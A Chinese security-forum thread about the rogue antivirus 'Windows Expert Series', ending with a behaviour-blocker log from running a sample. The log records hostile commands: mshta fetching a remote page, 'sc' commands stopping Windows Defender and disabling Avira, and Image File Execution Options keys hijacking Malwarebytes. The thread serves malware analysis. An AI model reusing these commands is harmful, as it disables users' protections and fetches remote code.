Windows Expert Series (15L 更新)

hx1997

humanlwj52 发表于 2012-7-9 22:13
我还不知道他的 blog，这是他在一个论坛上同步更新的。

http://reviewsantivirus.blogspot.com/

不过要翻那什么，你懂的。

Nocria

hx1997 发表于 2012-7-9 22:15
http://reviewsantivirus.blogspot.com/

不过要翻那什么，你懂的。

谢谢，我看一下。

hx1997

humanlwj52 发表于 2012-7-9 22:16
谢谢，我看一下。

这家伙，用了我的一个样本也不写来源。下次我也不写他的来源。

Nocria

hx1997 发表于 2012-7-9 22:21
这家伙，用了我的一个样本也不写来源。下次我也不写他的来源。

还有这回事。

amocken

360

angir

hx1997 发表于 2012-7-9 22:12  是那个人，但样本不是 blogspot 来的。

论坛的话搜reviewsantivirus有好多个不知道你指哪个==

liulangzhecgr

2012-7-10 09:04:59    创建新进程    允许
进程: c:\windows\explorer.exe
目标: d:\downloads\c6ca215efbe6f2214392fa0dd9effa73\c6ca215efbe6f2214392fa0dd9effa73.exe
命令行: "D:\DownLoads\c6ca215efbe6f2214392fa0dd9effa73\c6ca215efbe6f2214392fa0dd9effa73.exe"
规则: [应用程序]*

2012-7-10 09:05:09    底层键盘操作    阻止
进程: d:\downloads\c6ca215efbe6f2214392fa0dd9effa73\c6ca215efbe6f2214392fa0dd9effa73.exe
规则: [应用程序]*

2012-7-10 09:05:20    向其他进程复制句柄    允许
进程: c:\windows\system32\svchost.exe
目标: d:\downloads\c6ca215efbe6f2214392fa0dd9effa73\c6ca215efbe6f2214392fa0dd9effa73.exe
句柄: (Key) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E96C-E325-11CE-BFC1-08002BE10318}\0005
规则: [应用程序]c:\windows\system32\svchost.exe

2012-7-10 09:06:46    创建文件    允许
进程: d:\downloads\c6ca215efbe6f2214392fa0dd9effa73\c6ca215efbe6f2214392fa0dd9effa73.exe
目标: C:\Documents and Settings\Administrator\Application Data\Protector-mdir.exe
规则: [应用程序]* -> [文件]*

2012-7-10 09:06:49    创建新进程    允许
进程: d:\downloads\c6ca215efbe6f2214392fa0dd9effa73\c6ca215efbe6f2214392fa0dd9effa73.exe
目标: c:\documents and settings\administrator\application data\protector-mdir.exe
命令行: "C:\Documents and Settings\Administrator\Application Data\Protector-mdir.exe"
规则: [应用程序]*

2012-7-10 09:07:02    底层键盘操作    阻止
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
规则: [应用程序]*

2012-7-10 09:07:15    向其他进程复制句柄    允许
进程: c:\windows\system32\svchost.exe
目标: c:\documents and settings\administrator\application data\protector-mdir.exe
句柄: (Key) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E96C-E325-11CE-BFC1-08002BE10318}\0005
规则: [应用程序]c:\windows\system32\svchost.exe

2012-7-10 09:08:18    创建新进程    允许
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta.exe "http://galaint.statisticyesinfo.info/?0=153&1=0&2=1&3=111&4=i&5=2600&6=5&7=1&8=86001&9=2052&10=-480&11=1111&12=kmedrebkob&14=0"
规则: [应用程序]*

2012-7-10 09:09:43    创建新进程    允许
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
目标: c:\windows\system32\sc.exe
命令行: sc stop WinDefend
规则: [应用程序]*

2012-7-10 09:09:59    创建新进程    允许
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
目标: c:\windows\system32\sc.exe
命令行: sc config AntiVirSchedulerService start= disabled
规则: [应用程序]*

2012-7-10 09:10:31    创建文件    允许
进程: c:\windows\system32\mshta.exe
目标: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\RC6VT2WQ\galaint_statisticyesinfo_info[1].htm
规则: [应用程序]* -> [文件]*

2012-7-10 09:10:36    创建注册表项 (2)    允许
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardxkickoff.exe
规则: [应用程序]* -> [注册表]*

2012-7-10 09:10:43    创建注册表项 (2)    允许
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamservice.exe
规则: [应用程序]* -> [注册表]*

2012-7-10 09:10:49    创建注册表项 (2)    允许
进程: c:\documents and settings\administrator\application data\protector-mdir.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamgui.exe
规则: [应用程序]* -> [注册表]*